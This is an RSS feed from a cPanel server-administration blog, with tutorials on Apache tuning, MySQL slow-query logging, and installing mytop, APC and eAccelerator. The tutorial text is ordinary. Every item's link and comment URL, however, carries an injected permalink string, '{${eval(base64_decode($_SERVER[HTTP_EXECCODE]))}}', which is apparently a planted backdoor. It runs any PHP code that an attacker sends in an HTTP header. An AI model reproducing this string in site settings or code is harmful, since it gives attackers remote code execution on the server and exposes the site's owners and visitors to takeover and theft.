<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; Optimization</title>
	<atom:link href="http://www.cpanelconfig.com/category/optimize-a-cpanel-server/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Apache tuning and optimization cPanel 11.x</title>
		<link>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 11 Jan 2008 15:48:16 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[httpd]]></category>
		<category><![CDATA[tuning]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/apache-tuning-and-optimization-cpanel-11x/</guid>
		<description><![CDATA[In this article I will try to teach you all the tricks to make your webserver (apache)  run faster. While the information in this article is not necessary new I tried compressing all the useful tips in one short article.
I&#8217;ve put this article on hold for far too long but here it it.
I would [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I will try to teach you all the tricks to make your webserver (apache)  run faster. While the information in this article is not necessary new I tried compressing all the useful tips in one short article.<br />
I&#8217;ve put this article on hold for far too long but here it it.</p>
<p>I would like to start by saying that this article is not necessary meant for cPanel powered servers but I will make all my references to this type of servers. You can still apply all the tips here to all apache based webservers so don&#8217;t stop reading here if you don&#8217;t have cPanel !<br />
<!--adsense--></p>
<p>OK, lets start.<br />
First login to your server as root using ssh.</p>
<p>All the important configuration options are stored by Apache in a config file called httpd.conf that is located at /usr/local/apache/conf/httpd.conf We will start by opening this file in your favorite text editor. For exemple:</p>
<blockquote><p>nano /usr/local/apache/conf/httpd.conf</p></blockquote>
<ul>
<li><strong>MaxClients </strong>- Total number of 	concurrent connections.<br />
Locate it in the configuration file. This should be set to a reasonable value. I suggest using this formula to determine the right value for your server.</li>
<blockquote><p>MaxClients  = 150 x RAM (GB)</p></blockquote>
<p>So for example if you have 2 GB or RAM set this value to 300.<br />
There is no reason for you to set it any higher unless you have a specific problem with this value. A high value can lead to a complete server hang in case of a DOS attack. A value too low can create timeout problems for your clients if the limit is reached.</p>
<li><strong>MinSpareServers </strong>and <strong>MaxSpareServers </strong>- MaxSpareServers and MinSpareServers control how many spare (unused) child-processes Apache will keep alive while waiting for more requests to put them to use. Each child-process consumes resources, so having MaxSpareServers set too high can cause resource problems. On the other hand, if the number of unused servers drops below MinSpareServers, Apache will fork (an expensive operation) new child-processes until MinSpareServers is satisfied.</li>
<p>Leave those values to:</p>
<blockquote><p>MinSpareServers 5<br />
MaxSpareServers 10</p></blockquote>
<p>If you have more them 2 GB of RAM and you run a resource intensive website consider increasing MaxSpareServers.</p>
<li><strong>MaxRequestsPerChild</strong> &#8211; Controls the number of request the a child serves before the child is killed. This should not be set too low as it will put an unnecessary load on the apache server to recreate the child. I suggest setting it to:</li>
<blockquote><p>MaxRequestsPerChild 1000</p></blockquote>
<li><strong>KeepAlive</strong> and <strong>MaxKeepAliveRequests</strong> &#8211; KeepAlive provides long-lived HTTP sessions which allow multiple requests to be sent over the same TCP connection. In some cases this has been shown to result in an almost 50% speedup in latency times for HTML documents with many images, but having keepalive on is also a resource intensive setting.<br />
Here comes the big question: To KeepAlive or not to KeepAlive?<br />
<!--adsense--><br />
Well the opinions are mixed here, some say to KeepAlive some say not to.<br />
If you want to hear my option I would say NOT to KeepAlive if you are running a shared hosting business or if you want to get the most out of your hardware. You should KeepAlive only if the loading time of your pages is the most important factor in your business and you have the money to invest in a more powerful hardware. If you decide to KeepAlive I suggest you set MaxKeepAliveRequest low to something like 2 seconds.</li>
<li><strong>StartServers</strong> &#8211; Sets the     number of child server processes created on startup. This setting depends greatly on the type of webserver you run. If you run low traffic websites on that server set it low to something like 5. If you have resource intensive websites on that server you should set it close to MaxClients.</li>
<li><strong>Timeout </strong>- The amount of time Apache will wait for three things: the total amount of time it takes to receive a GET       request, The amount of time between receipt of TCP packets on a       POST or PUT request, the amount of time between ACKs on transmissions of TCP       packets in responses.<br />
The default value is 300. You should set time to something a bit lower. A setting of 150 is probably ok. This will also help in case of small DOS attacks like to ones targeting some phpBB forums. Do NOT set it any lower then 90 as your users will start having timeout problems.</li>
</ul>
<p>After you have done all the necessary changes you can go ahead and restart Apache.</p>
<blockquote><p>service httpd restart</p></blockquote>
<p>It should restart without any problems. If it doesn&#8217;t please double check the changes that you done.</p>
<p><strong>Important Notice ! </strong>After upgrading to cPanel 11 and recompiling Apache there is an extra step that you have to do so that the changes that you done to httpd.conf aren&#8217;t lost.<br />
Starting with cPanel 11.x all the apache setting are also stored in a database and the configuration files are recreated each time an account is added or a recompile is done.<br />
<!--adsense--><br />
To also save the changes in the database you will have to run:</p>
<blockquote><p>/usr/local/cpanel/bin/apache_conf_distiller &#8211;update</p></blockquote>
<p>You can check to see if the changes were accepted and will not be discarded at the next apache recompile by running</p>
<blockquote><p>/usr/local/cpanel/bin/build_apache_conf</p></blockquote>
<p>Hope this article will help a lot a people. I would like to hear your feedback on this, so please leave a comment !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Identifying slow MySQL queries</title>
		<link>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 12:14:53 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[log-slow-queries]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[queries]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[slow queries]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/identifying-slow-mysql-queries/</guid>
		<description><![CDATA[MySQL can sometimes create big problems on a server when you have users abusing it.
This article will teach you how to correctly identify the queries that are creating a problem for your server.

MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.
Here&#8217;s how you [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL can sometimes create big problems on a server when you have users abusing it.<br />
This article will teach you how to correctly identify the queries that are creating a problem for your server.</p>
<p><!--adsense--><br />
MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.<br />
Here&#8217;s how you turn it on:</p>
<ol>
<li>Login to your server as root</li>
<li>Open my.cnf with your favorite editor. Example:</li>
<blockquote><p>pico /etc/my.cnf</p></blockquote>
<li>Into the [mysqld] section add the fallowing lines</li>
<blockquote><p>log-slow-queries = /var/log/mysql-slow.log<br />
long_query_time = 3</p></blockquote>
<p>This is just an example. You can use any file name that you want and you can modify the long_query_time to any value. In this example I will be logging to /var/log/mysql-slow.log any queries that are taking longer then 3 seconds.</p>
<li>Go ahead and save the configuration.</li>
<blockquote><p>For pico: CTRL+X and YES</p></blockquote>
<li>Now we have to actually create the log file.</li>
<blockquote><p>touch /var/log/mysql-slow.log</p></blockquote>
<li>Now we are changing the owner of the file so that mysql and actually write to it.</li>
<blockquote><p>chown mysql.root /var/log/mysql-slow.log</p></blockquote>
<li>Now we restart mysql</li>
<blockquote><p>service mysql restart</p></blockquote>
<p>It should restart successfully. If it doesn&#8217;t check that you didn&#8217;t brake my.cnf</p>
<li>Wait a few minutes and then examine the slow queries log</li>
<p>A few examples on how to do it:<br />
<!--adsense--></p>
<blockquote><p>cat /var/log/mysql-slow.log<br />
tail /var/log/mysql-slow.log<br />
tail -50 /var/log/mysql-slow.log</p></blockquote>
</ol>
<p>After you have identified the offending query go ahead and optimize or remove it.<br />
Again test the results by looking at your server load and the mysql slow queries log.</p>
<p>After you fixed all the problems go ahead and comment the slow queries logging as it will slow your server a bit if you let it on. my.cnf should now look similar to this:</p>
<blockquote><p>#log-slow-queries = /var/log/mysql-slow.log<br />
#long_query_time = 3</p></blockquote>
<p>And don&#8217;t forget to restart MySQL after this.</p>
<blockquote><p>service mysql restart</p></blockquote>
<p><!--adsense--><br />
Hope this helps !</p>
<p>I suggest you also read:</p>
<ul>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/" title="Install MySQL Performance Tuning Primer Script">Install MySQL Performance Tuning Primer Script</a></li>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mytop-top-clone-for-mysql/" title="Install mytop - top clone for MySQL">Install mytop &#8211; top clone for MySQL</a></li>
</ul>
<p>If you have any problems or suggestions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Install MySQL Performance Tuning Primer Script</title>
		<link>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 22:44:22 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysql optimization]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[tuning primer]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/</guid>
		<description><![CDATA[
Tuning the performance of MySQL can be a really hard job to do.
There are many thinks to consider and no two servers are identical so there is no universal solution.
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.
For the script to [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Tuning the performance of MySQL can be a really hard job to do.<br />
There are many thinks to consider and no two servers are identical so there is no universal solution.<br />
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.<br />
For the script to be efficient you must run the mysql server for at least 48 hours.</p>
<p>Installation is extremely simple:</p>
<ol>
<li>Download the script</li>
<blockquote><p>wget http://day32.com/MySQL/tuning-primer.sh</p></blockquote>
<li>Change the permissions for the file<br />
<blockquote><p>
	chmod 755 tuning-primer.sh
</p></blockquote>
</li>
<li>Run it</li>
<blockquote><p>./tuning-primer.sh</p></blockquote>
<li>Apply the sugesttions</li>
</ol>
<p>Enjoy!<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Install mytop &#8211; top clone for MySQL</title>
		<link>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sat, 08 Sep 2007 20:11:27 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Optimization]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mytop]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/install-mytop-top-clone-for-mysql/</guid>
		<description><![CDATA[
What is mytop?
mytop is a console-based (non-gui) tool for monitoring the threads and overall performance of a MySQL 3.22.x, 3.23.x, and 4.x server. It runs on most Unix systems (including Mac OS X) which have Perl, DBI, and Term::ReadKey installed.
You will find more details on the homepage at http://jeremy.zawodny.com/mysql/mytop/
How to install

Download mytop
wget http://jeremy.zawodny.com/mysql/mytop/mytop-1.6.tar.gz
Extract and change [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is mytop?<br />
</strong>mytop is a console-based (non-gui) tool for monitoring the threads and overall performance of a MySQL 3.22.x, 3.23.x, and 4.x server. It runs on most Unix systems (including Mac OS X) which have Perl, DBI, and Term::ReadKey installed.</p>
<p>You will find more details on the homepage at <a href="http://jeremy.zawodny.com/mysql/mytop/">http://jeremy.zawodny.com/mysql/mytop/</a></p>
<p><strong>How to install</strong></p>
<ol>
<li>Download mytop</li>
<blockquote><p>wget http://jeremy.zawodny.com/mysql/mytop/mytop-1.6.tar.gz</p></blockquote>
<li>Extract and change directory</li>
<blockquote><p>tar -zxvf mytop-1.6.tar.gz<br />
cd mytop-1.6</p></blockquote>
<li>Install mytop</li>
<blockquote><p>perl Makefile.PL<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Run mytop</li>
<blockquote><p>mytop</p></blockquote>
</ol>
<p>You can find additional information about mytop configuration at: <a href="http://jeremy.zawodny.com/mysql/mytop/mytop.html">http://jeremy.zawodny.com/mysql/mytop/mytop.html</a><br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to install APC (PHP Cache)</title>
		<link>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 13:54:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[APC]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/how-to-install-apc-php-cache/</guid>
		<description><![CDATA[
What is APC?
APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.
Install instructions

Login to the server as root
Download APC
wget http://pecl.php.net/get/APC-3.0.14.tgz
Extract and move into the directory
gzip -d APC-3.0.14.tgz
tar -xf APC-3.0.14.tar
cd APC-3.0.14
Locate where php is
which php
This should return something like: /usr/local/bin/php
We have to remember the location of php
Create configuration files
phpize
Compile APC
./configure &#8211;enable-apc [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is APC?<br />
</strong>APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.<br />
<strong>Install instructions</strong></p>
<ol>
<li>Login to the server as root</li>
<li>Download APC</li>
<blockquote><p>wget http://pecl.php.net/get/APC-3.0.14.tgz</p></blockquote>
<li>Extract and move into the directory</li>
<blockquote><p>gzip -d APC-3.0.14.tgz<br />
tar -xf APC-3.0.14.tar<br />
cd APC-3.0.14</p></blockquote>
<li>Locate where php is</li>
<blockquote><p>which php</p></blockquote>
<p>This should return something like: <strong>/usr/local/bin/</strong>php<br />
We have to remember the location of php</p>
<li>Create configuration files</li>
<blockquote><p>phpize</p></blockquote>
<li>Compile APC</li>
<blockquote><p>./configure &#8211;enable-apc &#8211;enable-apc-mmap &#8211;with-apxs &#8211;with-php-config=/usr/local/bin/php-config<br />
make<br />
make install</p></blockquote>
<p>The &#8220;make install&#8221; commnand will return the location of the apc.so extention please note the location. You will need this later.<br />
<!--adsense--></p>
<li>Install APC into php.ini</li>
<p>You will have to first locate php using the locate command</p>
<blockquote><p>locate php</p></blockquote>
<p>This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.<br />
Now we will edit php.ini and add the APC extension.</p>
<blockquote><p>pico /usr/local/Zend/etc/php.ini</p></blockquote>
<p>Scroll down to the buttom and add the fallowing before the lines about the zend optimizer (They start with [Zend])</p>
<blockquote><p>extension=&#8221;/apc_location/apc.so&#8221;</p></blockquote>
<li>Restart Apache</li>
<p>If you done everything it&#8217;s time to restart Apache</p>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p>Hope this helps !<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How to install Eaccelerator</title>
		<link>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 13:04:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[eaccelerator]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/how-to-install-eaccelerator/</guid>
		<description><![CDATA[

What is Eaccelerator?
eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--></p>
<blockquote></blockquote>
<p><strong>What is Eaccelerator?<br />
</strong>eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the speed of your PHP code by 1-10 times.</p>
<p><strong>Install instructions</strong></p>
<ol>
<li>Login as root</li>
<li>Download Eaccelerator</li>
<blockquote><p>wget http://bart.eaccelerator.net/source/0.9.5.2/eaccelerator-0.9.5.2.zip</p></blockquote>
<li>Extract and move into the directory</li>
<blockquote><p>unzip eaccelerator-0.9.5.2.zip<br />
cd eaccelerator-0.9.5.2</p></blockquote>
<li>Locate where php is</li>
<blockquote><p>which php</p></blockquote>
<p>This should return something like: <strong>/usr/local/bin/</strong>php<br />
We have to remember the location of php</p>
<li>Create configuration files</li>
<blockquote><p>phpize</p></blockquote>
<li>Compile Eaccelerator</li>
<blockquote><p>./configure &#8211;enable-eaccelerator=shared &#8211;with-php-config=<strong>/usr/local/bin/</strong>php-config<br />
make<br />
make install</p></blockquote>
<p>The &#8220;make install&#8221; commnand will return the location of the eaccelerator.so extention please note the location. You will need this later.<br />
<!--adsense--></p>
<li>Install Eaccelerator into php.ini</li>
<p>This can be done as a Zend extension or as a PHP extention.<br />
I personally recommend installing it as a Zend extension.<br />
You will have to first locate php using the locate command</p>
<blockquote><p>locate php</p></blockquote>
<p>This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.<br />
Now we will edit php.ini and add the Eaccelerator extension.</p>
<blockquote><p>pico /usr/local/Zend/etc/php.ini</p></blockquote>
<p>Scroll down to the buttom and add the fallowing <strong>before</strong> the lines about the zend optimizer (They start with [Zend])</p>
<blockquote><p>zend_extension=&#8221;/<strong>eaccelerator_location</strong>/eaccelerator.so&#8221;<br />
eaccelerator.shm_size=&#8221;16&#8243;<br />
eaccelerator.cache_dir=&#8221;/tmp/eaccelerator&#8221;<br />
eaccelerator.enable=&#8221;1&#8243;<br />
eaccelerator.optimizer=&#8221;1&#8243;<br />
eaccelerator.check_mtime=&#8221;1&#8243;<br />
eaccelerator.debug=&#8221;0&#8243;<br />
eaccelerator.filter=&#8221;"<br />
eaccelerator.shm_max=&#8221;0&#8243;<br />
eaccelerator.shm_ttl=&#8221;0&#8243;<br />
eaccelerator.shm_prune_period=&#8221;0&#8243;<br />
eaccelerator.shm_only=&#8221;0&#8243;<br />
eaccelerator.compress=&#8221;1&#8243;<br />
eaccelerator.compress_level=&#8221;9&#8243;</p></blockquote>
<li>Restart Apache</li>
<p>If you done everything it&#8217;s time to restart Apache</p>
<blockquote><p>service httpd restart</p></blockquote>
<li>Test to see if everything is ok</li>
<blockquote><p>php -v</p></blockquote>
<p>If you see something like you are all done.</p>
<blockquote><p>with eAccelerator v0.9.5.1, Copyright (c) 2004-2006 eAccelerator, by eAccelerator</p></blockquote>
</ol>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
